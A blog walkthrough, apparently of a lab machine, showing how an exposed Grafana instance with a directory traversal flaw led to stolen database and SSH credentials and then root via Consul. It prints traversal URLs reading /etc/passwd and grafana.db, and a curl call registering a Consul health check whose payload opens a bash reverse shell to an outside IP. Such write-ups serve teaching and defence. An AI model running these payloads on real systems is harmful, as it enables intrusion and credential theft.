Wessel Swanepoel
Road to Root: Grafana and Consul Exploitation
Updated: Jan 29

In this installment of Road to Root we explore the dangers of exposing dev environments to untrusted networks.
Sure, it's convenient and it's "only dev", right? What's the worst that could happen?😘
The truth is these environments often expose the crown jewel of credentials - developer credentials!

Initial foothold
Our journey starts with a quick TCP Port-scan that revealed our target hosted an SSH service, two websites served by Apache and a MySQL database.


Standard Port: 80
The site served over port 80 was a boring-AF statically generated website. Nothing to see here...

Non-Standard Port: 3000
The site served over port 3000, however, was much more interesting as it served up a login screen for Grafana, juicy!

Grafana is a powerful multi-platform open-source analytics and interactive visualization web application. Luckily for us, the specific version hosted on the dev machine was vulnerable to a directory traversal attack documented in detail by Grafan Labs themselves:
On 2021-12-03, we received a report that Grafana is vulnerable to directory traversal, allowing access to local files. We have confirmed this for versions v8.0.0-beta1 to v8.3.0. Thanks to our defense-in-depth approach, at no time has Grafana Cloud been vulnerable.
Well good for you "Grafana Cloud"! 😋
The Grafana installation on our dev machine was not so lucky. I managed to exploit the vulnerability easy enough and extracted some goodies using the following paths:
/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd

The passwd file exposed a possible foothold user "developer" and a few other interesting users that we might be able to use later for privilege escalation such as lxd and consul
/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db
I then booted up my trusty DBeaver client and scoured the Grafana.db SQLite database...
DBeaver sniffing for credentials
First, I found some hashed admin credentials, but this turned into a dead end as I was unable to crack them...

Then, in the data_source table, I found MySQL credentials! Nice!

Using these I connected directly to the database and continued the search...
It didn't take long before I stumbled on what appeared to be a simple base64 encoded password stored in the "whackywidget" database's "users" table:

Decoding that, our developer account's ssh password was exposed.

I then tested those creds out using the "developer" username against SSH and...

I was in!
Privilege Escalation
Our privilege escalation journey then started with a few minutes of information gathering on the machine - the usual stuff. During this I stumbled across a git repository on the machine for a web theme used by the static page we found earlier.

That made me wonder if there were any other git repositories somewhere on the machine, *spoilers* there were!


Going through the history of the repository I found a particularly interesting check-in where the developer removed some kind of token from the source code - of course, git still had record of this change - I had no idea what it was for, but it seemed important!

At this point I started doing some research on Consul by HashiCorp.
Turns out it's actually a pretty cool service if you're into micro-services. 😊
The consul service itself ran under root and given the fact that it orchestrates the execution of applications it led me to believe that it could somehow be exploited for arbitrary code execution.
After some research I stumbled upon Consul's health check feature documentation:
Configure Health Checks | Consul | HashiCorp Developer

That would do nicely!
Consul actually has quite a few ways of creating these "health check watchers":
Changing consul configuration files- I did not immediately pursue this as it seemed unlikely that I would have access to these configuration files.
CLI Interface - This seemed at face value to be the easiest way to setup watchers, however I was unable to get this to work 😒
Consul Web Api - This seemed like my last resort and after some fiddling, I was able to setup a health check watcher using the following command and reverse shell payload:
curl -X PUT http://localhost:8500/v1/agent/check/register --header "X-Consul-Token: bb03b43b-1d81-d62b-24b5-39540ee469b5" --header "Content-Type: application/json" -d @data.json
{
"id": "shell5",
"name": "shell5",
"args": ["bash", "-c", "exec 5<>/dev/tcp/10.10.14.32/443;cat <&5 | while read line; do $line 2>&5 >&5; done"],
"interval": "60s",
"timeout": "5s"
}
A few seconds later the reverse listener I had ready and waiting sprang to life!

We got Root!
Thanks for taking the time to read my blog - if you have any advice on how I could have improved my workflow, please feel free to comment below.